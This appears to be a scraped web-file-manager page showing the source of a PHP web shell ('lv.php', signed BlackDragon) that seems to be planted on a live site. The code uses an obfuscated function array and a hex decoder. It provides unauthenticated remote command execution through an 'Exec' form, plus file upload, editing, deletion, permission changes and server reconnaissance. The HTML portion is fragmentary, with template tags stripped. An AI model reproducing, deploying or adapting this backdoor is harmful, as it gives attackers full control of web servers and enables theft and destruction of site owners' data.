芝麻web文件管理V1.00
编辑当前文件:/var/www/cognitio.in/lv.php
window.location="?";'; } function fsize($file) { $a = ["B", "KB", "MB", "GB", "TB", "PB"]; $pos = 0; $size = filesize($file); while ($size >= 1024) { $size /= 1024; $pos++; } return round($size, 2)." ".$a[$pos]; } function hex($str) { $r = ""; $len = (strlen($str) - 1); for ($i = 0; $i < $len; $i += 2) { $r .= chr(hexdec($str[$i].$str[$i + 1])); } return $r; } function flash($message, $status, $class, $redirect = false) { if (!empty($_SESSION["message"])) { unset($_SESSION["message"]); } if (!empty($_SESSION["class"])) { unset($_SESSION["class"]); } if (!empty($_SESSION["status"])) { unset($_SESSION["status"]); } $_SESSION["message"] = $message; $_SESSION["class"] = $class; $_SESSION["status"] = $status; if ($redirect) { header('Location: ' . $redirect); exit(); } return true; } function clear() { if (!empty($_SESSION["message"])) { unset($_SESSION["message"]); } if (!empty($_SESSION["class"])) { unset($_SESSION["class"]); } if (!empty($_SESSION["status"])) { unset($_SESSION["status"]); } return true; } if (isset($_GET['dir'])) { $path = $_GET['dir']; $f[13]($_GET['dir']); } else { $path = $f[12](); } $path = $f[14]('\\', '/', $path); $exdir = $f[15]('/', $path); function getOwner($item) { if (function_exists("posix_getpwuid")) { $downer = @posix_getpwuid(fileowner($item)); $downer = $downer['name']; } else { $downer = fileowner($item); } if (function_exists("posix_getgrgid")) { $dgrp = @posix_getgrgid(filegroup($item)); $dgrp = $dgrp['name']; } else { $dgrp = filegroup($item); } return $downer . '/' . $dgrp; } if (isset($_POST['newFolderName'])) { if ($f[29]($path . '/' . $_POST['newFolderName'])) { $f[16]("Create Folder Successfully!", "Success", "success", "?dir=$path"); } else { $f[16]("Create Folder Failed", "Failed", "error", "?dir=$path"); } } if (isset($_POST['newFileName']) && isset($_POST['newFileContent'])) { if ($f[4]($_POST['newFileName'], $_POST['newFileContent'])) { $f[16]("Create File Successfully!", "Success", "success", "?dir=$path"); } else { $f[16]("Create File Failed", "Failed", "error", "?dir=$path"); } } if (isset($_POST['newName']) && isset($_GET['item'])) { if ($_POST['newName'] == '') { $f[16]("You miss an important value", "Ooopss..", "warning", "?dir=$path"); } if ($f[30]($path. '/'. $_GET['item'], $_POST['newName'])) { $f[16]("Rename Successfully!", "Success", "success", "?dir=$path"); } else { $f[16]("Rename Failed", "Failed", "error", "?dir=$path"); } } if (isset($_POST['newContent']) && isset($_GET['item'])) { if ($f[4]($path. '/'. $_GET['item'], $_POST['newContent'])) { $f[16]("Edit Successfully!", "Success", "success", "?dir=$path"); } else { $f[16]("Edit Failed", "Failed", "error", "?dir=$path"); } } if (isset($_POST['newPerm']) && isset($_GET['item'])) { if ($_POST['newPerm'] == '') { $f[16]("You miss an important value", "Ooopss..", "warning", "?dir=$path"); } if (chmod($path. '/'. $_GET['item'], $_POST['newPerm'])) { $f[16]("Change Permission Successfully!", "Success", "success", "?dir=$path"); } else { $f[16]("Change Permission", "Failed", "error", "?dir=$path"); } } if (isset($_GET['action']) && $_GET['action'] == 'delete' && isset($_GET['item'])) { if (is_dir($_GET['item'])) { if ($f[27]($_GET['item'])) { $f[16]("Delete Successfully!", "Success", "success", "?dir=$path"); } else { $f[16]("Delete Failed", "Failed", "error", "?dir=$path"); } } else { if ($f[28]($_GET['item'])) { $f[16]("Delete Successfully!", "Success", "success", "?dir=$path"); } else { $f[16]("Delete Failed", "Failed", "error", "?dir=$path"); } } } if (isset($_FILES['uploadfile'])) { $total = count($_FILES['uploadfile']['name']); for ($i = 0; $i < $total; $i++) { $mainupload = $f[17]($_FILES['uploadfile']['tmp_name'][$i], $_FILES['uploadfile']['name'][$i]); } if ($total < 2) { if ($mainupload) { $f[16]("Upload File Successfully! ", "Success", "success", "?dir=$path"); } else { $f[16]("Upload Failed", "Failed", "error", "?dir=$path"); } } else{ if ($mainupload) { $f[16]("Upload $i Files Successfully! ", "Success", "success", "?dir=$path"); } else { $f[16]("Upload Failed", "Failed", "error", "?dir=$path"); } } } $dirs = $f[18]($path); ?>
= $_SERVER['SERVER_NAME'] ?>:= $_SERVER['SERVER_PORT'] ?>
= $f[0]() ?>
= $_SERVER['SERVER_SOFTWARE'] ?>
= !@$_SERVER['SERVER_ADDR'] ? $f[19]($_SERVER['SERVER_NAME']) : @$_SERVER['SERVER_ADDR'] ?>
$pat) : if ($pat == '' && $id == 0): ?>
/
= $pat ?>
" class="text-decoration-none text-light">= $pat ?>
/
[ HOME ]
Exec
Submit
= $f[20]($_POST['command']) ?>
New Name
Submit
Back
= $_GET['item'] ?>
= $f[9]($f[5]($path. '/'. $_GET['item'])) ?></textarea>
Submit
Copy
Back
File Name : = $_GET['item'] ?>
= $f[9]($f[5]($path. '/'. $_GET['item'])) ?></textarea>
Back
= $_GET['item'] ?>
Submit
Back
Folder Name
Submit
File Name
File Content
</textarea>
Submit
Name
Type
Size
Owner/Group
Permission
Last Modified
Actions
= $dir ?>
= $dir ?>
= $dir ?>
= $f[8]($dir) ?>
-
= $f[35]($dir) ?>
= $f[11]($f[10]('%o', $f[6]($dir)), -4); ?>
= $f[23]("Y-m-d h:i:s", $f[7]($dir)); ?>
= $dir ?>
= ($f[25]('mime_content_type') ? $f[24]($dir) : $f[8]($dir)) ?>
= $f[26]($dir) ?>
= $f[35]($dir) ?>
= $f[11]($f[10]('%o', $f[6]($dir)), -4); ?>
= $f[23]("Y-m-d h:i:s", $f[7]($dir)); ?>
© BlackDragon